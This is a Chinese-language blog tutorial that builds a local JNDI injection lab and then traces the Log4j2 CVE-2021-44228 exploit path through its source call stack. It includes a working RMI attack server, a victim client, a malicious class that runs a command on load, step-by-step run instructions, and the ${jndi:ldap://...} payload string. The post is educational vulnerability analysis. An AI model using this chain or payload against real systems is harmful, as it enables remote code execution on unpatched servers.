JNDI注入的本地搭建和分析
 

JNDI概述

  JNDI(The java Naming and Directory Interface,java命名和目录接口)是一组在Java应用中访问命名和目录服务器的API,命令服务将名称和对象联系起来,使得我们可以用名称访问对象。
这些命名/目录服务提供者

  JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。

  JNDI可访问的现有的目录及服务有:

DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

  • RMI (JAVA远程方法调用)
  • LDAP (轻量级目录访问协议)
  • CORBA (公共对象请求代理体系结构)
  • DNS (域名服务)

JNDI搭建

jserver服务端(攻击端)

package jndi_a;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; public class jServer {
public static void main(String[] args) throws Exception {
String className = "Calc"; //类名
String url = "http://127.0.0.1:8000/";//远程类地址
Registry registry = LocateRegistry.createRegistry(1098);//rmi监听端口
Reference reference = new Reference(className, className, url);//按照lookup需要一个Reference类
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.rebind("aaa", referenceWrapper);//绑定一个stub
System.out.println("rmi://127.0.0.1/hacked is working...");
}
}

jClient客户端(受害端)

package jndi_a;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException; public class jClient {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1098/aaa"; //rmi
//String uri = "ldap://127.0.0.1:1389/aaa"; //ldap
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
Context ctx = new InitialContext();
ctx.lookup(uri);//
}
}

Calc恶意类

import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable; public class Calc implements ObjectFactory {
{
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
} static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
} public Calc() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} @Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
return null;
}
} 

使用方式:

1、在当前目录下执行 ( javac Calc.java )生成恶意类Calc.class

2、在Calc.class目录使用python3自带的http服务(python -m http.server 8000)

3、启动服务 jserver

4、执行客户端 jClient 会看到弹出来的计算器

 先启动恶意的CalcServer,然后运行 jserver,当调用initialContext.lookup(url)方法时,会通过rmi协议寻找ExportObject对应的对象referenceWrapper,而referenceWrapper为远程对象ExploitObject的引用,所以最终实例化的是ExploitObject从而触发静态代码块执行达到任意代码执行的目的。

JNDI注入分析:

  我们来分析一下log4j2JNDI注入漏洞,Log4j2的JNDI注入漏洞(CVE-2021-44228)可以称之为“核弹”级别。Log4j2作为类似JDK级别的基础类库,几乎没人能够幸免。

  

首先知道log4j2的攻击流程  

1、首先攻击者遭到存在风险的接口(接口会将前端输入直接通过日志打印出来),然后向该接口发送攻击内容:${jndi:ldap://localhost:1389/aa}。

2、被攻击服务器接收到该内容后,通过Logj42工具将其作为日志打印。

源码:org.apache.logging.slf4j.Log4jLogger.debug(...)/info(...)/error(...)等方法

    > org.apache.logging.log4j.core.config.LoggerConfig.log(...)

      > AbstractOutputStreamAppender.append(final LogEvent event)

3、此时Log4j2会解析${},读取出其中的内容。判断其为Ldap实现的JNDI。于是调用Java底层的Lookup方法,尝试完成Ldap的Lookup操作。

源码:StrSubstitutor.substitute(...) --解析出${}中的内容:jndi:ldap://localhost:1389/aa

      > StrSubstitutor.resolveVariable(...) --处理解析出的内容,执行lookup

      > Interpolator.lookup(...) --根据jndi找到jndi的处理类

        > JndiLookup.lookup(...)

        > JndiManager.lookup(...)

          > java.naming.InitialContext.lookup(...) --调用Java底层的Lookup方法

◇ 后续步骤都是Java内部提供的Lookup能力,和Log4j2无关。

4、请求Ldap服务器,获取到Ldap协议数据。Ldap会返回一个Codebase告诉客户端,需要从该Codebase去获取其需要的Class数据。

源码:LdapCtx.c_lookup(...) 请求并处理数据 (ldap中指定了javaCodeBase=)

    >Obj.decodeObject --解析到ldap结果,得到classFactoryLocation=http://localhost:8888

    > DirectoryManager.getObjectInstance(...) --请求Codebase得到对应类的结果

      > NamingManager.getObjectFactoryFromReference(...) --请求Codebase

5、请求Ldap中返回的Codebase路径,去Codebase下载对应的Class文件,并通过类加载器将其加载为Class类,然后调用其默认构造函数将该Class类实例化成一个对象。

源码:VersionHelper12.loadClass(...) --请求Codebase得到Class并用类加载器加载

    > NamingManager.getObjectFactoryFromReference(...) 通过默认构造函数实例化类

不考虑代码类,划分步骤只有四步

1、攻击则发送带有恶意Ldap内容的字符串,让服务通过log4j2打印

2、log4j2解析到ldap内容,会调用底层Java去执行Ldap的lookup操作。

3、Java底层请求Ldap服务器(恶意服务器),得到了Codebase地址,告诉客户端去该地址获取他需要的类。

4、Java请求Codebase服务器(恶意服务器)获取到对应的类(恶意类),并在本地加载和实例化(触发恶意代码)。

代码审计分析jndi注入

因此可以通过在InitialContext.lookup(String name)方法上设置端点,观察整个漏洞触发的调用堆栈,来了解原理。调用堆栈如下:

整个调用堆栈较深,这里把几个关键点提取整理如下:

LOGGER.error
......
MessagePatternConverter.format
....
StrSubstitutor.resolveVariable
Interpolator.lookup
JndiLookup.lookup
JndiManager.lookup
InitialContext.lookup

(1)MessagePatternConverter.format()

poc代码中的LOGGER.error()方法最终会调用到MessagePatternConverter.format()方法,该方法对日志内容进行解析和格式化,并返回最终格式化后的日志内容。当碰到日志内容中包含${子串时,调用StrSubstitutor进行进一步解析。

(2)StrSubstitutor.resolveVariable()

StrSubstitutor将${}之间的内容提取出来,调用并传递给Interpolator.lookup()方法,实现Lookup功能。

(3)Interpolator.lookup()

Interpolator实际是一个实现Lookup功能的代理类,该类在成员变量strLookupMap中保存着各类Lookup功能的真正实现类。Interpolator对 上一步提取出的内容解析后,从strLookupMap获得Lookup功能实现类,并调用实现类的lookup()方法。

例如对poc例子中的jndi:rmi://127.0.0.1:1099/exp解析后得到jndi的Lookup功能实现类为JndiLookup,并调用JndiLookup.lookup()方法。

(4)JndiLookup.lookup()

JndiLookup.lookup()方法调用JndiManager.lookup()方法,获取JNDI对象后,调用该对象上的toString()方法,最终返回该字符串。

(5)JndiManager.lookup()

JndiManager.lookup()较为简单,直接委托给InitialContext.lookup()方法。这里单独提到该方法,是因为后续几个补丁中较为重要的变更即为该方法。

至此,后续即可以按照常规的JNDI注入路径进行分析。

JNDI注入的本地搭建和分析的更多相关文章

  1. Weblogic漏洞分析之JNDI注入-CVE-2020-14645

    Weblogic漏洞分析之JNDI注入-CVE-2020-14645 Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9. ...

  2. 浅析JNDI注入Bypass

    之前在Veracode的这篇博客中https://www.veracode.com/blog/research/exploiting-jndi-injections-java看到对于JDK 1.8.0 ...

  3. DVWA-对Command Injection(命令注入)的简单演示与分析

    前言 上一篇文章中,对命令注入进行了简单的分析,有兴趣的可以去看一看,文章地址 https://www.cnblogs.com/lxfweb/p/12828754.html,今天这篇文章以DVWA的C ...

  4. Java安全之JNDI注入

    Java安全之JNDI注入 文章首发:Java安全之JNDI注入 0x00 前言 续上篇文内容,接着来学习JNDI注入相关知识.JNDI注入是Fastjson反序列化漏洞中的攻击手法之一. 0x01 ...

  5. javasec(八)jndi注入

    JNDI JNDI(全称Java Naming and Directory Interface)是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式 ...

  6. PhpStorm Xdebug远程调试环境搭建原理分析及问题排查

    2017年05月26日  经验心得 目录   一. 环境介绍 二. 远程环境配置 2.2 Xdebug安装 2.3 配置 三. 本地phpstorm配置 3.1 下载远程代码 3.2 添加php解释器 ...

  7. JNDI注入与反序列化学习总结

    0x01.java RMI RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定 ...

  8. 爬虫管理平台以及wordpress本地搭建

    爬虫管理平台以及wordpress本地搭建 学习目标: 各爬虫管理平台了解 scrapydweb gerapy crawlab 各爬虫管理平台的本地搭建 Windows下的wordpress搭建 爬虫 ...

  9. JNDI注入基础

    JNDI注入基础 一.简介 JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务 ...

  10. Java之JNDI注入

    Java之JNDI注入 About JNDI 0x01 简介 JNDI(Java Naming and Directory Interface)是SUN公司提供的一种标准的Java命名系统接口,JND ...

随机推荐

  1. 2021-11-10:O(1) 时间插入、删除和获取随机元素。实现RandomizedSet 类:RandomizedSet() 初始化 RandomizedSet 对象。bool insert(in

    2021-11-10:O(1) 时间插入.删除和获取随机元素.实现RandomizedSet 类:RandomizedSet() 初始化 RandomizedSet 对象.bool insert(in ...

  2. es 笔记二之基础查询

    本文首发于公众号:Hunter后端 原文链接:es笔记二之基础查询 这一篇笔记介绍 es 的基础查询. 基础查询包括很多,比如排序,类似数据库 limit 的操作,like 操作,与或非等,对于这些操 ...

  3. Dashboard监控页面和Zuul路由网关

    Dashboard监控页面 dashboard监控功能:我们需要前端页面能够监控提供者provider8001的工作状态 对dashboard监控页面的介绍: 1.在客户端导依赖 <?xml v ...

  4. Springcloud 开始来了解

    为什么要学习springcloud? "微服务 "一词源于Martin Fowler 的名为 Microservices 的博文,简单地说, 微服务是系统架构上的一种设计风格, 它 ...

  5. 一天吃透Spring面试八股文

    内容摘自我的学习网站:topjavaer.cn Spring是一个轻量级的开源开发框架,主要用于管理 Java 应用程序中的组件和对象,并提供各种服务,如事务管理.安全控制.面向切面编程和远程访问等. ...

  6. Bash 编程

    原文:https://seankross.com/the-unix-workbench/bash-programming.html[1] 数学 创建math.sh: #!/usr/bin/env ba ...

  7. 今天在内部 Galaxy 分析平台操作探针引物设计小工具程序,调用 Ensembl API 获取相关序列和信息时,发现官网 MySQL server 异常,报告问题后当天晚上就收到了回复,并且修......

    本文分享自微信公众号 - 生信科技爱好者(bioitee).如有侵权,请联系 support@oschina.cn 删除.本文参与"OSC源创计划",欢迎正在阅读的你也加入,一起分 ...

  8. 从零玩转系列之微信支付实战PC端接口搭建

    一.前言 halo各位大佬很久没更新了最近在搞微信支付,因商户号审核了我半个月和小程序认证也找了资料并且将商户号和小程序进行关联,至此微信支付Native支付完成.此篇文章过长我将分几个阶段的文章发布 ...

  9. NFS远程挂载

    NFS远程挂载 一.概述 NFS是一种基于TCP/IP 传输的网络文件系统协议.通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源 NAS存储: NFS服务的实现依赖于RPC ...

  10. AI隐私保护中的常见隐私隐私问题与解决方案

    目录 题目:<AI隐私保护中的常见隐私问题与解决方案> 引言 随着人工智能技术的快速发展,AI隐私保护也成为了一个备受关注的问题.由于AI技术的应用范围越来越广泛,例如语音识别.图像识别. ...